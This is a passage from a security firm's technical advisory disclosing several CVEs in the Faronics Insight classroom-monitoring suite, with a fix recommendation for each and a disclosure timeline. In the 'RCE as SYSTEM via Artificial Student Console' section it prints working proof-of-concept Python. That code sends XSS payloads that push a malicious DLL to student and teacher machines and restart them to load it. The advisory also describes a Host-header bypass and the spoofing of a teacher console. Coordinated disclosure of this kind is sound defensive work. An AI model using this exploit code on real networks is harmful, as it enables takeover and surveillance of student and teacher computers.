greatly lower the severity of any code execution vulnerabilities which emerge in the future. 4. RCE AS SYSTEM VIA ARTIFICIAL STUDENT CONSOLE AND XSS (CVE-2023-28347) Risk: Critical (9.6 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) SUMMARY It is possible for an attacker to create a proof of concept script which functions similarly to a Student Console, providing unauthenticated attackers with the ability to exploit XSS vulnerabilities within the Teacher Console application and gain RCE in a ‘Zero Click’ manner. IMPACT Due to the rich and highly privileged functionality offered by the Teacher Console, the ability to silently exploit XSS on the Teacher Machine enables remote code execution on any connected student machine (and the teacher’s machine). DETAILS NCC Group researchers observed that, in the default installation configuration, the Teacher Console application contains no authentication or authorization logic when allowing Student Consoles to connect. Because of this, it is possible for an attacker to create their own “Student Console” like application which is purpose-built to exploit flaws in the Teacher Console and connected Student Consoles. As noted in the Technical Advisory named “RCE as SYSTEM via Artificial Teacher Console”, after going through the UDP handshake process, Student Consoles automatically open a WebSocket connection with the Teacher Console and begin receiving instructions. NCC Group researchers also observed that when a malicious (artificial) Student Console is created, it is possible to exploit a Cross Site Scripting vulnerability in the “loggedInUser” field of the initial “updateSTAgentStatus” call. The Teacher Console simply renders whatever “loggedInUser” field is provided straight into the DOM and any JavaScript in that field is immediately executed without any user interaction. As such, a small proof of concept exploit was developed which performs the following steps – * Abuses the UDP broadcast API to get all active student IDs * Abuses the UDP broadcast API to get the teacher’s IP and ID * Uploads a malicious DLL file to the teacher’s machine using the “/api/uploadFiles” endpoint * Creates a WebSocket connection to the Teacher Console * For every active student, it submits a malicious “updateSTAgentStatus” HTTP request to the teacher which contains the following XSS payload – # Start compromising all students. for student in studentIDs: # Inspiration for this exploit from teacher.js line 12213 # Send the DLL to the students json={ "macAddresses":"00:00:00:00:00:00", "ipAddresses":"999.999.999.999", "loggedInUser":"<script>sendActionOnSocket({type: 1,handlerFuncName : \"updateAgent\",data: {fileName:\"../../../../Program Files/Faronics/Insight Student/sas.dll\", downloadFilePath:\"/installers/sas.dll\"}, targets: [\""+student+"\"]});</script>", "os":"windows", "hostName":"DESKTOP-irrelevant", "limiting":{"web":0,"apps":0,"print":0,"drives":0,"lockScreen":0,"muteSpeaker":0,"lockKbdM":0}, "lastKnownState":{"assessmentMode":0,"handRaised":0,"monitorIndex":0}, "monitorCount":1, "screenSharingAllowed":True, "isUserLoggedIn":True, "canChangePreferredName":True, "hasMic":True, "version":"11.21.2100.262", "agentId":desiredMachineID.decode("ascii"), "classId":"Class101","preferredName":"" } requests.post(f"http://{teacherIP}:8890/api/updateSTAgentStatus/{desiredMachineID.decode('ascii')}", json=json) Observe that within the “loggedInUser” field is a JavaScript payload which compels a Student Console to execute the “updateAgent” command by retrieving the malicious “sas.dll” file and deploying it to the Faronics Insight installation directory. The proof of concept then abuses the XSS vulnerability again to force all connected Student Consoles to restart using the “restartInsightAgent” command – time.sleep(3) # Instruct the students to restart insight, causing the DLL to be loaded and execute, creating a new user (OLIVER_BROOKS_NCC2:FaNcYfEaSt%2) json={ "macAddresses":"00:00:00:00:00:00", "ipAddresses":"999.999.999.999", "loggedInUser":"<script>sendActionOnSocket({type: 1,handlerFuncName : \"restartInsightAgent\",targets: [\""+student+"\"]});</script>", "os":"windows", "hostName":"DESKTOP-irrelevant", "limiting":{"web":0,"apps":0,"print":0,"drives":0,"lockScreen":0,"muteSpeaker":0,"lockKbdM":0}, "lastKnownState":{"assessmentMode":0,"handRaised":0,"monitorIndex":0}, "monitorCount":1, "screenSharingAllowed":True, "isUserLoggedIn":True, "canChangePreferredName":True, "hasMic":True, "version":"11.21.2100.262", "agentId":desiredMachineID.decode("ascii"), "classId":"Class101","preferredName":"" } requests.post(f"http://{teacherIP}:8890/api/updateSTAgentStatus/{desiredMachineID.decode('ascii')}", json=json) At this point, code execution as SYSTEM has been achieved on every connected student’s machine. Finally, the script uploads the same malicious DLL file to the teacher’s Faronics Insight installation directory and compels the Teacher Console to restart by abusing the XSS vulnerability – # All students are compromised at this point, now we get RCE on the teacher too using the same trick # Step 4: Send the DLL again and put it in the Insight Teacher directory to get RCE on the teacher sharedCode.sendFileToTeacher(teacherIP, desiredMachineID.decode("ascii"), localPath, "C:\\Program Files\\Faronics\\Insight Teacher\\", True) # Quick sleep to make sure everything's planted correctly. time.sleep(3) # Step 5: Use XSS to trigger a restart on the teacher machine using the relaunchInsight(); Javascript function json={ "macAddresses":"00:00:00:00:00:00", "ipAddresses":"999.999.999.999", "loggedInUser":"<script>relaunchInsight();</script>", "os":"windows", "hostName":"DESKTOP-irrelevant", "limiting":{"web":0,"apps":0,"print":0,"drives":0,"lockScreen":0,"muteSpeaker":0,"lockKbdM":0}, "lastKnownState":{"assessmentMode":0,"handRaised":0,"monitorIndex":0}, "monitorCount":1, "screenSharingAllowed":True, "isUserLoggedIn":True, "canChangePreferredName":True, "hasMic":True, "version":"11.21.2100.262", "agentId":desiredMachineID.decode("ascii"), "classId":"Class101","preferredName":"" } requests.post(f"http://{teacherIP}:8890/api/updateSTAgentStatus/{desiredMachineID.decode('ascii')}", json=json) # Step 6: cleanup and be stealthy # Not yet implemented sio.disconnect() At this point, RCE has been achieved on the teacher’s machine and every connected student’s machine by abusing a zero-click XSS vulnerability. It should be noted, however, that the artificial Student Console could be amended to abuse the XSS vulnerability in any number of ways, including scraping all active Student Console’s file systems and overwriting critical system files to achieve a persistent Denial of Service. RECOMMENDATION As noted in the other provided Technical Advisories in this bundle, NCC Group strongly recommends that the Teacher Console is updated to require authentication from any Student Console, including requiring a valid session cookie or JWT with every HTTP request from a Student Console. Requiring authentication with every request will help to mitigate this vulnerability, because it will remove an attacker’s ability to create and operate artificial Student Consoles. 5. RCE AS SYSTEM VIA ARTIFICIAL TEACHER CONSOLE (CVE-2023-28349) Risk: Critical (9.6 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) SUMMARY It is possible for an attacker to create an exploit which functions similarly to the Teacher Console, which compels Student Consoles to connect and exploit themselves automatically. IMPACT Remote attackers are able to gain covert remote code execution and surveillance capabilities on student machines by masquerading as a valid Teacher Console. DETAILS As part of this vulnerability research, researchers spent some time analysing how Student Consoles and Teacher Consoles connect to one another in the default configuration. The following steps were observed before any connection is made. 1. The Student Console Windows service (FIStudentSvc.exe) starts, which starts the Student Agent (FIStudentAgent.exe) as SYSTEM 2. The Teacher Console Windows service (FITeacherSvc.exe) is started, which starts the Teacher Server (FITeacherServer.exe) as SYSTEM 3. The Teacher Server begins making periodic “DISCO” (discovery) UDP broadcasts to 255.255.255.255 on port 8889 indicating that the teacher console is available 4. All active Student Agent applications respond directly to those broadcasts with a UDP RESP (response) packet. The RESP packet contains their “agent ID”, a unique UUID-like identifier for that Student. 5. The Teacher then sends a UDP START packet to the student, which compels them to automatically perform the following four steps – * Make a HTTP request to the Teacher Console at “/api/getClassSettings” to obtain some basic settings about the class * Make a HTTP request to “/api/updateSTAgentStatus” to provide the Teacher with some basic details about the Student Console * Make a HTTP request to the Teacher at the “/socket.io/” endpoint to start a Websocket session where the Teacher Console Command and Control is performed * Make repeated HTTP requests to the API endpoints at “/api/uploadscreenshots” and “/api/appKeystrokeLogs” which provide the Teacher Console with an image of the student’s desktop and a running record of every key that the student types. At no point during the above sequence of operations is any kind of cryptographic handshake performed to ensure the validity of a Teacher Console, the Student Console is simply compelled to connect and begin divulging keylogger data and screenshots simply by virtue of being provided the UDP “START” packet. Once the WebSocket connection is setup, a Teacher Console can begin sending commands to the student desktop like “downloadFile”, “launchApp” and “restartInsight”. Having the ability to compel a Student Console to execute these commands paves the way for arbitrary file write and RCE as SYSTEM. NCC Group researchers created a proof of concept which sends the DISCO UDP broadcast, sends a START packet to any student which responds and then spins up a websocket / HTTP server to handle all requests from the connecting Student Console. The proof of concept then deploys “sas.dll” to the Faronics Student installation directory, commands the application to restart with the “restartInsight” WebSocket command and achieves RCE as SYSTEM using the DLL hijacking vulnerability described in the DLL Hijacking technical advisory. RECOMMENDATION NCC Group strongly recommends that the initial UDP broadcast challenge/response system is amended to include some form of cryptographic handshake, using a either a pre-shared key which is set at application install time for both the Teacher Console and Student Consoles or alternatively both Student and Teacher consoles could reach out to a Faronics cloud API to obtain a keypair which could be used for authentication. If the Student Console was able to verify that they are connecting to a legitimate Teacher Console by decrypting a “challenge” in the DISCO packet and sending an encrypted “response” in the RESP packet then this vulnerability would be immediately mitigated. 6. ALL DATA TRANSMITTED IN PLAINTEXT ENABLING MITM (CVE-2023-28348) Risk: High (7.1 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N) SUMMARY Data transmitted between Student Consoles and Teacher Consoles is sent over plaintext HTTP and plaintext WebSockets. IMPACT A suitably positioned attacker could perform a person-in-the-middle attack on either a connected student or teacher and intercept student keystrokes or modify executable files being sent from teachers to students. DETAILS The Faronics Insight application allows teachers (running the Teacher Console) to administer student devices (running the Student Console). The Teacher Console compels Student Consoles to perform various activities by sending commands over WebSockets, the Student Console responds to these commands either directly over the WebSocket or using the HTTP API exposed by the Teacher Console on port 8890. Because neither the webserver nor the WebSocket server utilize TLS, it is possible for an attacker to perform a classic ‘person-in-the-middle’ attack to intercept, monitor and manipulate communications between teachers and students. RECOMMENDATION NCC Group recommends that Faronics ensures that all API traffic and WebSocket traffic is sent over HTTPS and TLS enabled WebSockets. Socket.IO (the WebSocket library used by this application suite) supports TLS out of the box according to the documentation. 7. ENHANCED SECURITY MODE MAY BE BYPASSED (CVE-2023-28352) Risk: High (8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) SUMMARY Each of the vulnerabilities identified within this bundle of Technical Advisories all execute successfully even when Enhanced Security Mode is enabled. IMPACT An attacker controlled artificial Student Console can connect to and attack a Teacher Console even after Enhanced Security Mode has been enabled. DETAILS The Faronics Insight Teacher and Student Consoles expose a function at either install time or at runtime called “Enhanced Security”. This functionality is intended to prevent arbitrary Student Consoles from being able to connect to a class, as well as to prevent arbitrary Teacher Consoles from presenting themselves and compelling Student Consoles to join them. The Enhanced Security functionality forms an effective security measure against unmodified and legitimate Consoles. If a Student Console and Teacher Console do not have the same Enhanced Security key, a student will not be able to join a teacher, and a teacher will not be able to compel a student to join. It can be seen here within Wireshark that when Enhanced Security mode is enabled on both Consoles, two Consoles will be unable to discover each other with UDP broadcasts if they have differing keys – It appears that this functionality works by setting an encoded or encrypted section in the UDP broadcasts, which the other party is able/unable to decrypt if their keys match/don’t match respectively. As part of this vulnerability research, NCC Group researchers observed that if UDP DISCO / RESP / START broadcast packets were simply transmitted without the encoded payload by an artificial Teacher or Student Console then both students and teachers would respond to them, allowing the malicious Console to complete the handshake successfully and either compel Student Consoles to connect or to successfully connect to a Teacher Console as appropriate. Because of this, each of the supplied Technical Advisories are valid and each of the developed proof-of-concept scripts execute successfully even when Enhanced Security mode is enabled. RECOMMENDATION NCC Group recommends that the Enhanced Security mechanisms are updated in both the Teacher and Student Consoles such that if a UDP broadcast is received which doesn’t contain the encoded portion then it is simply ignored. This will act as an effective mitigation against malicious Teacher Consoles compelling Student Consoles to connect. NCC Group also recommends that the Teacher Console is updated to validate that connections are being made from a Student Console which also has both Enhanced Security enabled, and has the correct Enhanced Security key set. This could be validated as part of a HTTP header containing an encrypted and encoded payload, for example. 8. VIRTUAL HOST ROUTING CAN BE DEFEATED (CVE-2023-28346) Risk: Low (2.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) SUMMARY It is possible for a remote attacker to communicate with the private API endpoints exposed on “/login”, “/consoleSettings”, “/console” etc. despite Virtual Host Routing being used to block this access. IMPACT Remote attackers can interact with private pages on the webserver, enabling them to perform privileged actions such as logging into the console and changing console settings if they have valid credentials. DETAILS The Faronics Insight Teacher Console exposes a HTTP server on port 8890. The server offers a set of public API endpoints under “/api/*’ which don’t require any authentication. These endpoints are used by Student Consoles to transmit data back and forth from the Teacher Console. The webserver on port 8890 also exposes another set of endpoints such as “/login”, “/consoleSettings”, “/console” which are only accessible if the user attempts to access them using, for example, http://127.0.0.1:8890 or http://localhost:8890. Attempts to communicate with the webserver remotely are blocked with a 404 error. During this vulnerability research, it was identified that it’s possible to supply a HTTP “Host” header with a value of “localhost:8890” in order to defeat this control and access the console remotely. Defeating the Virtual Host Routing control enables any network connected attacker to begin auditing and attacking the product as if they were situated on localhost. RECOMMENDATION NCC Group anticipates that Faronics developers are likely using a library such as VHost as Virtual Host Routing middleware for Express. In addition to using such a middleware, NCC Group suggests that each of the private (localhost only) API endpoints implement a check to ensure that the IP address of the HTTP requestor is either “localhost” or “127.0.0.1”. An alternative solution which requires more extensive architectural changes would be to setup a second webserver which hosts the private API endpoints, configured to only listen for HTTP traffic from localhost. 9. KEYSTROKE LOGS ARE STORED IN PLAINTEXT IN A WORLD READABLE DIRECTORY (CVE-2023-28351) Risk: Medium (6.5 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) SUMMARY Every keystroke made by any user on a computer with Faronics Insight Student installed is logged to a world readable directory. IMPACT An attacker with physical or local access to a computer with Faronics Insight installed can trivially extract the plaintext keystrokes of any student who has used the machine, potentially enabling them to obtain PII and/or to compromise personal accounts owned by the victim. DETAILS The Faronics Insight Student Console application silently logs every keystroke made by a user, these keystroke logs are periodically transmitted as a JSON payload over a HTTP WebSocket to the Teacher Console where they are made available for the teacher to view them. During this vulnerability research, it was observed that the keystroke logs are stored in “C:\ProgramData\Faronics\Insight\Data\KeyLogs”, a world readable folder where every individual plaintext keystroke log is readable by any user on the Student Console machine. It’s unclear how long these log files remain present in this directory before they are purged, but their presence on the machine constitutes a threat to the privacy of the user’s whose keys are being logged by Faronics Insight. RECOMMENDATION NCC Group recommends that all keystroke logging activity is performed in memory as opposed to storing files on disk, so that after keystrokes are transmitted to the Teacher Console there is no trace of the keystroke logs remaining on disk. Alternatively, if the logs must be kept on disk for a short amount of time, then the “C:\ProgramData\Faronics\Insight\Data\KeyLogs” directory must have its permissions restricted such that only an administrator or SYSTEM can access them, additionally the files should be encrypted at rest in order to help to protect the student’s privacy. 10. LACK OF ACCESS CONTROLS ON STUDENT APIS (CVE-2023-28344) Risk: Medium (6.5 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) SUMMARY The Insight Teacher Console application allows unauthenticated attackers to view constantly updated screenshots of student desktops and to submit falsified screenshots on behalf of students. IMPACT Attackers are able to view screenshots of student desktops without their consent. These screenshots may potentially contain sensitive/personal data. Attackers can also rapidly submit falsified images, hiding the actual contents of student desktops from the Teacher Console. DETAILS Student Consoles submit screenshots over HTTP POST to the Teacher Console’s webserver on the API endpoint at “/api/uploadscreenshot/agent_id”, where agent_id is the unique UUID-like string which uniquely identifies a connected student’s Console. By default, Student Consoles will silently transmit a screenshot of the student’s desktop to the teacher every few seconds. The Teacher Console then retrieves these screenshots via HTTP GET from “/uploads/screenshots/agent_id.jpeg” and renders them in the Console. The API endpoint at “/uploads/screenshots/agent_id.jpeg” requires no authentication or authorization to view the uploaded images, because of this, a network connected attacker is able to obtain the images simply by navigating to the correct URL for a given agent ID. Exposing these images to anyone on the network may potentially inadvertently leak a student’s Personally Identifiable Information (PII) to anyone who is able to guess or otherwise determine the student’s agent ID. Additionally, because Student Consoles submit their screenshots reasonably quickly and because the Teacher API has no rate limiting measures in place, it is possible for an attacker to query the API rapidly and repeatedly in order to obtain a low framerate “video” feed of the student’s device. In addition to a lack of access controls on the screenshot-retrieval API, there is also no access control present on the API endpoint which allows students to submit screenshots to the server (“/api/uploadscreenshot/agent_id”). Lack of access controls on this API endpoint allows any network connected user to send images to the Teacher Console on behalf of a victim Student Console. When the Teacher Console receives these images it then immediately renders them instead of the targeted student’s actual desktop. In addition to the above two access control lapses, there is also no access control present on the API endpoint which enables Student Consoles to upload the keystrokes that they’ve logged from users. Lack of access control on this API endpoint enables an attacker to submit arbitrary keystrokes to the API on behalf of a student, allowing them to decrease the quality of the logged keystrokes. RECOMMENDATION NCC Group recommends that the API is updated to only return student device screenshots when HTTP requests originate from localhost, this way the screenshots will not be available to users who attempt to interact with the API remotely. Additionally, NCC Group recommends that access controls are implemented to prevent arbitrary users from submitting screenshots on behalf of students. Finally, as a general recommendation for the entire application, NCC Group recommends that the Teacher Console is updated to require that a unique session ID be provided with every HTTP request from Student Consoles. A unique session ID, combined with TLS, will help to ensure that requests from student consoles are legitimate. 11. TEACHER CONSOLE CREDENTIALS EXPOSED VIA API ENDPOINT (CVE-2023-28345) Risk: Medium (4.0 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) SUMMARY The Insight Teacher Console application exposes the teacher’s Console password in plaintext via an API endpoint accessible from localhost. IMPACT Attackers with physical access to the Teacher Console can open a web browser, navigate to the affected endpoint and obtain the teacher’s password. This enables them to log into the Teacher Console and begin trivially attacking student machines. DETAILS The Faronics Insight Teacher Console exposes a HTTP server on port 8890. One of the API endpoints available only when making requests to the API from localhost is “/consoleSettings”, this API endpoint returns basic configuration details about the Teacher Console – Included within this response is the teacher’s password in plaintext (along with the license key and console versions). Exposing this data in plaintext via the API enables an attacker with physical access to retrieve the teacher’s credentials and log in to the Teacher Console. Because the Teacher Console enables teachers to remotely control student machines via a pseudo-VNC, access to the Teacher Console enables an attacker to trivially compromise any connected student machine. Because of the flaws highlighted in the Technical Advisory named “Virtual Host Routing Can Be Defeated”, any network connected attacker can connect to this API endpoint and obtain these credentials. RECOMMENDATION NCC Group recommends against exposing credentials and license keys via API endpoints. As such, the “consoleSettings” API endpoint should be reconfigured to return a minimal set of configuration data to remove this attack vector. If there is an unavoidable requirement to expose the credentials via this API endpoint, NCC Group strongly recommends that the data is first encrypted and then encoded with base64. This will require a small modification to enable API consumers to decrypt that data, but it will slightly minimize the risk of compromise. DISCLOSURE TIMELINE * 02/01/2023 – First contact with vendor to setup a secure channel to share the vulnerabilities * 02/01/2023 – Technical Advisories submitted to Faronics * 02/23/2023 – Contact re-established with Faronics to check how the fixes were progressing * 03/03/2023 – Re-established contact to set a firm disclosure date of April 28th * 03/14/2023 – CVE numbers assigned and shared with Faronics * 04/28/2023 – Contact made with Faronics to query the status of the fixes * 05/01/2023 – Faronics indicated that the disclosure date would be missed, a QA build would be coming soon * 05/03/2023 – A QA build of Faronics Insight was given to NCC Group to validate the fixes * 05/04/2023 – The QA build was confirmed to have mitigated all of the identified vulnerabilities * 05/17/2023 – Reached out to Faronics once again to enquire about their readiness to release the patch * 5/17/2023 – Faronics publishes v11.23.x.289 containing fixes (release notes) THANKS TO I would like to praise the Faronics team on their professionalism, responsiveness and the commitment to the security of their product. I would also like to thank Jeremy Boone, an NCC Group Technical Director, for his QA efforts and for always patiently answering any silly question which I pose to him. Finally I’d like to thank my colleague Julian Yates for his QA efforts, and for being an excellent sounding board during this vulnerability research. ABOUT NCC GROUP NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity. SHARE THIS: * Twitter * Reddit * LinkedIn * Facebook * LIKE THIS: Like Loading... Published by Oliver Brooks Published by Oliver Brooks View all posts by Oliver Brooks -> HERE ARE SOME RELATED ARTICLES YOU MAY FIND INTERESTING EUROCRYPT 2023: DEATH OF A KEM Last month I was lucky enough to attend Eurocrypt 2023, which took place in Lyon, France. It was my first chance to attend an academic cryptography conference and the experience sat somewhere in between the familiar cryptography of the Real World Crypto conference and the abstract world of black holes… Conferences Cryptography June 1, 2023 9 mins read REVERSE ENGINEERING COIN HUNT WORLD’S BINARY PROTOCOL Introduction We are going to walk through the process we took to reverse engineer parts of the Android game Coin Hunt World. Our goal was to identify methods and develop tooling to cheat at the game. Most of the post covers reverse engineering the game’s binary protocol and using that… Gaming & Media Research May 31, 2023 26 mins read TOOL RELEASE: CODE QUERY (CQ) Code Query is a new, open source universal code security scanning tool. CQ scans code for security vulnerabilities and other items of interest to security-focussed code reviewers. It outputs text files containing references to issues found, into an output directory. These output files can then be reviewed, filtered by unix… Tool Release May 26, 2023 1 min read Previous post Next post VIEW ARTICLES BY CATEGORY * 5G Security & Smart Environments (9) * Academic Partnership (2) * Annual Research Report (2) * Asia Pacific Research (1) * Awards & Recognition (4) * Books (17) * Business Insights (6) * CIRT (16) * Cloud & Containerization (31) * Cloud Security (14) * Conferences (34) * Corporate (7) * Cryptography (96) * CTFs/Microcorruption (1) * Current events (1) * Cyber as a Science (6) * Cyber Security (398) * Detection and Threat Hunting (9) * Disclosure Policy (1) * Emerging Technologies (10) * Engineering (5) * Fox-IT (14) * Fox-IT and European Research (5) * Gaming & Media (8) * Hardware & Embedded Systems (95) * Intern Projects (2) * iSec Partners (52) * Machine Learning (27) * Managed Detection & Response (23) * Misinformation, Deepfakes, & Synthetic Media (2) * North American Research (27) * Offensive Security & Artificial Intelligence (12) * Patch notifications (35) * Presentations (52) * protocol_name (1) * Public interest technology (10) * Public interest technology (1) * Public Reports (37) * Public tools (103) * Reducing Vulnerabilities at Scale (22) * Research (357) * Research Paper (19) * Reverse Engineering (47) * Risk Management & Governance (6) * Standards (13) * Technical advisories (207) * Technology Policy (1) * Threat briefs (3) * Threat Intelligence (67) * Tool Release (102) * Transport (16) * Tutorial/Study Guide (43) * UK Research (9) * Uncategorized (23) * Virtualization, Emulation, & Containerization (9) * VSR (32) * Vulnerability (160) * Whitepapers (235) MOST POPULAR POSTS MOST RECENT POSTS * Eurocrypt 2023: Death of a KEM * Reverse Engineering Coin Hunt World’s Binary Protocol * Technical Advisory – Multiple Vulnerabilities in Faronics Insight (CVE-2023-28344, CVE-2023-28345, CVE-2023-28346, CVE-2023-28347, CVE-2023-28348, CVE-2023-28349, CVE-2023-28350, CVE-2023-28351, CVE-2023-28352, CVE-2023-28353) * Tool Release: Code Query (cq) * CowCloud CALL US BEFORE YOU NEED US. Our experts will help you. Get in touch Call us on: General Number: 441612095200 24/7 Emergency Incident Response: 443316300690 Terms and Conditions Privacy Policy Contact Us Accessibility Disclosure Policy Assessment & Advisory Detection and Response Compliance Remediation Training Software Resilience © NCC Group 2023. All rights reserved. Loading Comments... Write a Comment... Email (Required) Name (Required) Website %d bloggers like this: